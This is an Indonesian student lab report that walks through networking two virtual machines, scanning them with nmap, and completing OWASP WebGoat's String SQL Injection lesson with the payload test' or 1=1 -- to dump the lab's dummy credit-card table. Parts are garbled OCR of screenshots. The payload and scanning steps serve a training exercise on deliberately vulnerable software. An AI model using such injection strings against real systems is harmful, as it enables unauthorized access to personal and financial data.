## TUGAS KEAMANAN JARINGAN KOMPUTER

## "Training Eksploitasi"



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Network : Network Internal

IP address : 192.168.100.20

1. Pertama lakukan configurasi pada DVL

bt ~ #	ifconfig eth0 192.168.100.20 netmask 255.255.255.0
eth0	<pre>ifconfig Link encap:Ethernet HWaddr 08:00:27:41:4E:02 inet addr:192.168.100.20 Bcast:192.168.100.255 Mask:255.255.255.0 UP BROADCAST NOTRAILERS RUNNING MULTICAST MTU:1500 Metric:1 RX packets:83 errors:0 dropped:0 overruns:0 frame:0 TX packets:84 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:9828 (9.5 KiB) TX bytes:9502 (9.2 KiB) Base address:0xd010 Memory:f0000000-f0020000</pre>
10	Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

2. Lakukan configurasi pada Linux

root@ubuntu:/home/ubuntu# ifconfig eth0 192.168.100.10 netmask 255.255.255.0

rootQubunt	u:/home/ubuntu# ifconfig
eth0	Link encap:Ethernet HWaddr 08:00:27:10:8a:e2
	inet addr:192.168.100.10 Bcast:192.168.100.255 Mask:255.255.255.0
	inet6 addr: fe80::a00:27ff:fe10:8ae2/64 Scope:Link
	UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
	RX packets:104 errors:0 dropped:0 overruns:0 frame:0
	TX packets:135 errors:0 dropped:0 overruns:0 carrier:0
	collisions:0 txqueuelen:1000
	RX bytes:10002 (10.0 KB) TX bytes:18516 (18.5 KB)
	5
lo	Link encap:Local Loopback
	inet addr:127.0.0.1 Mask:255.0.0.0
	inet6 addr: ::1/128 Scope:Host
	UP LOOPBACK RUNNING MTÛ:65536 Metric:1
	RX packets:78 errors:0 dropped:0 overruns:0 frame:0
	TX packets:78 errors:0 dropped:0 overruns:0 carrier:0
	collisions:0 txqueuelen:0
	RX bytes:5688 (5.6 KB) TX bytes:5688 (5.6 KB)

3. Lakukan ping pada ubuntu

root@ubuntu:/home/ubuntu# ping 192.168.100.20
PING 192.168.100.20 (192.168.100.20) 56(84) bytes of data.
64 bytes from 192.168.100.20: icmp\_seq=1 ttl=64 time=0.326 ms
64 bytes from 192.168.100.20: icmp\_seq=3 ttl=64 time=0.669 ms
64 bytes from 192.168.100.20: icmp\_seq=3 ttl=64 time=0.331 ms
64 bytes from 192.168.100.20: icmp\_seq=4 ttl=64 time=0.292 ms
64 bytes from 192.168.100.20: icmp\_seq=5 ttl=64 time=0.439 ms

4. Lakukan ping pada DVL

bt ~ # ping 192.168.100.10
PING 192.168.100.10 (192.168.100.10) 56(84) bytes of data.
64 bytes from 192.168.100.10: icmp\_seq=1 ttl=64 time=0.315 ms
64 bytes from 192.168.100.10: icmp\_seq=2 ttl=64 time=1.13 ms
64 bytes from 192.168.100.10: icmp\_seq=3 ttl=64 time=0.865 ms
64 bytes from 192.168.100.10: icmp\_seq=4 ttl=64 time=0.569 ms
64 bytes from 192.168.100.10: icmp\_seq=5 ttl=64 time=0.783 ms

root@ubuntu:/home/ubuntu# nmap -sV 192.168.100.20

5. Lalukan Nmap pada ubuntu untuk nmap, bisa mengetahui port-port mana saja yang terbuka

Starting Nmap 6.40 ( http://nmap.org ) at 2017-03-15 19:38 PDT mass\_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for 192.168.100.20 Host is up (0.00033s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 631/tcp open ipp CUPS 1.1 3306/tcp open mysql MySQL (unauthorized) MAC Address: 08:00:27:41:4E:02 (Cadmus Computer Systems) Service detection performed. Please report any incorrect results at http://nmap. org/submit/ Nmap done: 1 IP address (1 host up) scanned in 9.33 seconds root@ubuntu:/home/ubuntu#

6. Lakukan juga Nmap pada pada DVL

biii \*\* nmap -sV 192.168.100.10
Starting Nmap 4.20 ( http://insecure.org ) at 2017-03-16 02:43 GMT
Interesting ports on 192.168.100.10:
Not shown: 1694 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh (protocol 2.0)
53/tcp open domain
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
1 service unrecognized despite returning data. If you know the service/version, please submit the follow
fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port22-TCP:U=4.20%1=7%D=3/16%Time=58059FBCD%P=i686-pc-linux-gnu%r(NULL,2
SF:9,"SSH-2x.0-OpenSSH\_6x.6x.1p1xx20Ubuntu=2ubuntu2xrxn");
MAC Address: 08:00:27:10:8A:E2 (Cadmus Computer Systems)
Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/ .
Nmap finished: 1 IF address (1 host up) scanned in 24.396 seconds
bt \*\*\_\_\_\_\_

7. Selanjutnya Start DVL dan pilih "WebGoat" pada DVL



Masukan alamat <u>http://127.0.0.1/WebGoat/Attack</u> dengan username guest dan pass guest

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ITAC DVL Portal	DVL Support	Crackmes.de 🗋 CodeBreakers		
	Unab © © Us Pa * Try Agai	Authentication Required  Authentication Requir	27.0.0.1 ОК	e

8. Maka akan tampil seperti ini dan pilih Start WebGoat



9. Lakukan pencarian, pada praktikum ini pengggunaan last name Smith atau user name Smith seperti gambar di bawah ini :

5	-	57	1	10	0	12	1 Acres	
Contraction of the	31	a ll		21	XQ	50	-	and the second
Profile Same	- He	277	1 meres	-130		200	String S	QL Injection
OWASP WebGoat V5.1	🔺 Hint	s 🕨 Show I	arams Sh	ow Cockies	Show Jav	/a Show	Solution Les	ison Plans
n Functions ral								Restart this Lesson
e Quality surrency slidated Parameters ss Control Flaws	SQL injecto learn a incredible	ction attacks rep and the damage ( a number of syst	resent a serious saused can rang ems on the inte	s threat to any dat the from consideration of the susception of th	abase-driver ble to comple le to this for	n site. The ste system m of attac	methods behind compromise. De k.	an attack are easy spite these risks, an
entication Raws Ion Management Raws s-Site Scripting (XSS)	Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented.							
er Overflows Jon Raws	It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and							
ommand Injection	database queries, even in the threat or a GL intection has been prevented in some other manner. General Goal(s):							
umeric SQL Injection	The form	below allows a u	ser to view the	ir credit card num	bers. Try to	inject an S	QL string that re	sults in all the credit
og Spoofing	card numbers being displayed. Try the user name of 'Smith'.							
PATH Injection	Enter un	Enterna between Cmith						
tring SQL Injection	Criter your last name. printin							
AB: SQL Injection	SELECT * FROM user_date NHERE last_name = 'Smith'							
Stage 1: String SQL Injection	USERIC	FIRST_NAME	LAST_NAME	CC_NUMBER	CC_TYPE	COOKIE	LOGIN_COUN	T
Stage 2: Parameterized	102	John	Smith	2435600002222	MC		0	-
Stage 3: Numeric SQL Prection	102	John	Smith	4352209902222	AMEX		0	
Stage 4: Parameterized	OWASP Foundation   Project Web Goat							
atabase Backdoors								
oper Error Handling								

 10. Terakhir melakukan perncarian, degan last name test' Or 1=1 seperti gambar di bawah ini maka akan muncul halaman sebagai berikut : \* Congratulations. You have successfully completed this lesson. \* Bet you can't do it again! This lesson has detected your successfull attack and has now switched to a defensive mode. Try again to attack a parameterized query.

Enter your last name: test' or 1=1 -- Go!

SKLECT \* FROM user\_data WHERE last\_name = 'test' or 1=1 ···'

USERID	FIRST_NAME	LAST_NAME	CC_NUMBER	CC_TYPE	COOKIE	LOGIN_COUNT
101	Joe	Snow	987654321	VISA		0
101	Joe	Snow	2234200065411	MC		0
102	John	Smith	2435600002222	MC		0
102	John	Smith	4352209902222	AMEX		0
103	Jane	Plane	123456789	MC		0
103	Jane	Plane	333498703333	AMEX		0
10312	Jolly	Hershey	176896789	MC		0
10312	Jolly	Hershey	333300003333	AMEX		0
10323	Grumpy	White	673834489	MC		0
10323	Grumpy	White	33413003333	AMEX		0
15603	Peter	Sand	123609789	MC		0
15603	Peter	Sand	338893453333	AMEX		0
15613	Joesph	Something	33843453533	AMEX		0